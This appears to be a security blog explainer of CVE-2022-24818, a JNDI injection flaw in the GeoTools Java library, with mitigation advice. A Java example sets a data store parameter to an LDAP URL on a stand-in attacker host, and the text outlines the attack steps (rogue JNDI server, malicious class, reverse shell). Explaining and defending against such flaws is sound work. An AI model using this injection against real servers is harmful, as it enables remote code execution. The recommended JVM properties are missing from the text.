GeoTools is a widely-used open source Java library for handling geospatial (map/geography) data. By providing an extensive toolkit for reading, manipulation, and writing geospatial files and databases, GeoTools powers many open source GIS projects and even commercial applications.

But, like many Java projects, GeoTools was found to contain a dangerous vulnerability, CVE-2022-24818, affecting its handling of JNDI (Java Naming and Directory Interface) lookups. If left unpatched, attackers might be able to exploit GeoTools in a manner very similar to the high-profile Log4Shell incident, leading to remote code execution in some scenarios—even with admin login required.

Let’s look at how this bug works, see a simple demonstration (with code), and learn how you can protect your systems.

What is CVE-2022-24818?

This vulnerability arises from *unchecked user-controlled JNDI lookups* from within GeoTools' various data source components. Simply put:

- If a malicious JNDI address is provided to GeoTools by a user (typically embedded in a configuration or data source string),
- GeoTools might blindly follow this pointer and try to fetch/deserialize a Java class from it,

Key Points

- Exploitable if you let admin users create/edit data sources with user-controlled JNDI names.
- Similar in spirit to the Log4J JNDI attack, but limited to cases where a logged-in admin can inject the string.

Vulnerable Example

Here’s a simplified Java code example to illustrate just how easy it is for an attacker to abuse this:

import org.geotools.data.DataStore;
import org.geotools.data.DataStoreFinder;
import java.util.HashMap;
import java.util.Map;

public class GeoToolsJNDIVulnExample {
    public static void main(String[] args) throws Exception {
        // Simulate user-provided connection parameters (e.g., via admin panel)
        Map<String, Object> params = new HashMap<>();
        params.put("jndiReferenceName", "ldap://attacker.example.com/a"); // Dangerous input

        // GeoTools tries to perform a JNDI lookup on the user-supplied name
        DataStore store = DataStoreFinder.getDataStore(params);
        // ... rest of your logic ...
    }
}

In vulnerable versions, this code would cause your server to reach out to the attacker’s LDAP/JNDI server. If the attacker prepares a malicious Java class on their server, your process would load and execute it—resulting in a full compromise.

> Note: In default setups, the affected APIs are commonly gated behind admin roles, so a random user can’t usually exploit this directly. But if you expose admin tools or APIs on the web, or if you reuse GeoTools in a multi-tenant environment, you are at risk.

While we won’t publish an actual exploit, a typical attack would work like this

1. The attacker sets up a rogue JNDI server (for example, using marshalsec).
2. They convince (or are themselves) an admin to enter a malicious JNDI connection string into a GeoTools-powered admin panel or API.
3. When GeoTools tries to use the connection, it performs a JNDI lookup, fetching a class from the hacker’s server.
4. The malicious class runs, possibly giving the attacker a reverse shell or full control of the server.

This is virtually identical to the well-known Log4Shell exploit pattern but in the GIS context.

GeoTools 24.6

Upgrade as soon as possible.  
See GeoTools security advisory.

Never allow untrusted JNDI string input, even from admin users.

- Consider blocking all access to network-based JNDI lookups in your JVM with the following Java properties (since JDK 8u191 and later):

`

- Audit your applications for any areas where users (including admins) can supply data source or JNDI settings.

References

- GeoTools Security Advisory: JNDI Lookups allow RCE (CVE-2022-24818)
- NVD CVE-2022-24818 Entry
- GeoTools Release Notes
- JNDI Exploitation & Log4Shell Overview (LunaSec)
- Java JNDI Injection Vulnerabilities

Conclusion

CVE-2022-24818 demonstrates that even well-meaning features, like flexible connection configuration in libraries such as GeoTools, can introduce severe risks when they trust user-supplied input. This vulnerability is a strong reminder to always sanitize or restrict dynamic lookups (JNDI, reflections, templates, etc.), and to keep your dependencies up to date.

If you're using GeoTools, update now—and if you can't, make absolutely sure you never let admin or user-supplied JNDI names into your system.

Have questions or want to discuss fixes? Open an issue on the GeoTools GitHub or seek help in their user mailing list.

Timeline

Published on: 04/13/2022 21:15:00 UTC
Last modified on: 04/21/2022 18:00:00 UTC